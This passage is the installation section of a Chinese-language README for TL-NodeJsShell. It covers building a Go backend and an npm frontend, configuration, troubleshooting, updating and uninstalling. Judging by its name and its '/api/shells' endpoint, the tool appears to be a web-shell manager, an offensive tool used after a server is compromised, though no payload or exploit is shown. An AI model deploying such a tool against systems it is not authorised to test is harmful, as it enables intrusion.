1:从源码安装(推荐) 430 | 431 | **步骤 1:克隆仓库** 432 | ```bash 433 | git clone https://github.com/tianlusec/TL-NodeJsShell.git 434 | cd TL-NodeJsShell 435 | ``` 436 | 437 | **步骤 2:构建后端** 438 | ```bash 439 | cd backend 440 | go mod download 441 | go build -o NodeJsshell main.go 442 | 443 | # Windows 系统 444 | go build -o NodeJsshell.exe main.go 445 | ``` 446 | 447 | **步骤 3:构建前端** 448 | ```bash 449 | cd ../frontend 450 | npm install 451 | npm run build 452 | ``` 453 | 454 | **步骤 4:运行应用程序** 455 | ```bash 456 | # 从 backend 目录 457 | cd ../backend 458 | ./NodeJsshell 459 | 460 | # Windows 系统 461 | NodeJsshell.exe 462 | ``` 463 | 464 | **步骤 5:访问应用程序** 465 | 在浏览器中打开: 466 | ``` 467 | http://localhost:8080 468 | ``` 469 | 470 | #### 方法 2:开发模式 471 | 472 | 用于开发的热重载模式: 473 | 474 | **终端 1 - 后端:** 475 | ```bash 476 | cd backend 477 | go run main.go 478 | ``` 479 | 480 | **终端 2 - 前端:** 481 | ```bash 482 | cd frontend 483 | npm run dev 484 | ``` 485 | 486 | 访问:`http://localhost:5173`(Vite 开发服务器) 487 | 488 | #### 方法 3:Docker(即将推出) 489 | 490 | Docker 支持将在未来版本中添加。 491 | 492 | --- 493 | 494 | ### 配置 495 | 496 | #### 后端配置 497 | 498 | 编辑 [`backend/config/config.go`](../backend/config/config.go): 499 | 500 | ```go 501 | type Config struct { 502 | Port string // 默认: "8080" 503 | Host string // 默认: "0.0.0.0" 504 | } 505 | ``` 506 | 507 | **自定义端口:** 508 | ```go 509 | func Load() *Config { 510 | return &Config{ 511 | Port: "3000", // 更改端口 512 | Host: "127.0.0.1", // 仅绑定到本地主机 513 | } 514 | } 515 | ``` 516 | 517 | --- 518 | 519 | ### 故障排除 520 | 521 | #### 常见问题 522 | 523 | **1. 端口已被占用** 524 | ``` 525 | Error: listen tcp :8080: bind: address already in use 526 | ``` 527 | **解决方案:** 528 | - 在配置中更改端口 529 | - 或终止占用端口的进程: 530 | ```bash 531 | # Linux/macOS 532 | lsof -ti:8080 | xargs kill -9 533 | 534 | # Windows 535 | netstat -ano | findstr :8080 536 | taskkill /PID /F 537 | ``` 538 | 539 | **2. Go 模块下载失败** 540 | ``` 541 | Error: go: module lookup disabled 542 | ``` 543 | **解决方案:** 544 | ```bash 545 | export GOPROXY=https://goproxy.io,direct 546 | go mod download 547 | ``` 548 | 549 | **3. npm 安装失败** 550 | ``` 551 | Error: EACCES: permission denied 552 | ``` 553 | **解决方案:** 554 | ```bash 555 | # Linux/macOS 556 | sudo npm install -g npm 557 | npm install --unsafe-perm 558 | 559 | # 或使用 nvm(推荐) 560 | curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.0/install.sh | bash 561 | nvm install 18 562 | ``` 563 | 564 | --- 565 | 566 | ### 验证 567 | 568 | 安装后,验证一切正常: 569 | 570 | ```bash 571 | # 检查后端 572 | curl http://localhost:8080/api/shells 573 | 574 | # 预期响应: [] 575 | ``` 576 | 577 | --- 578 | 579 | ### 更新 580 | 581 | 更新到最新版本: 582 | 583 | ```bash 584 | cd TL-NodeJsShell 585 | git pull origin main 586 | 587 | # 重新构建后端 588 | cd backend 589 | go build -o NodeJsshell main.go 590 | 591 | # 重新构建前端 592 | cd ../frontend 593 | npm install 594 | npm run build 595 | ``` 596 | 597 | --- 598 | 599 | ### 卸载 600 | 601 | 完全删除 TL-NodeJsShell: 602 | 603 | ```bash 604 | # 停止应用程序 605 | # 然后删除目录 606 | cd .. 607 | rm -rf TL-NodeJsShell 608 | 609 | # 删除数据库(如需要) 610 | rm -f ~/.TL-NodeJsShell/*.db --------------------------------------------------------------------------------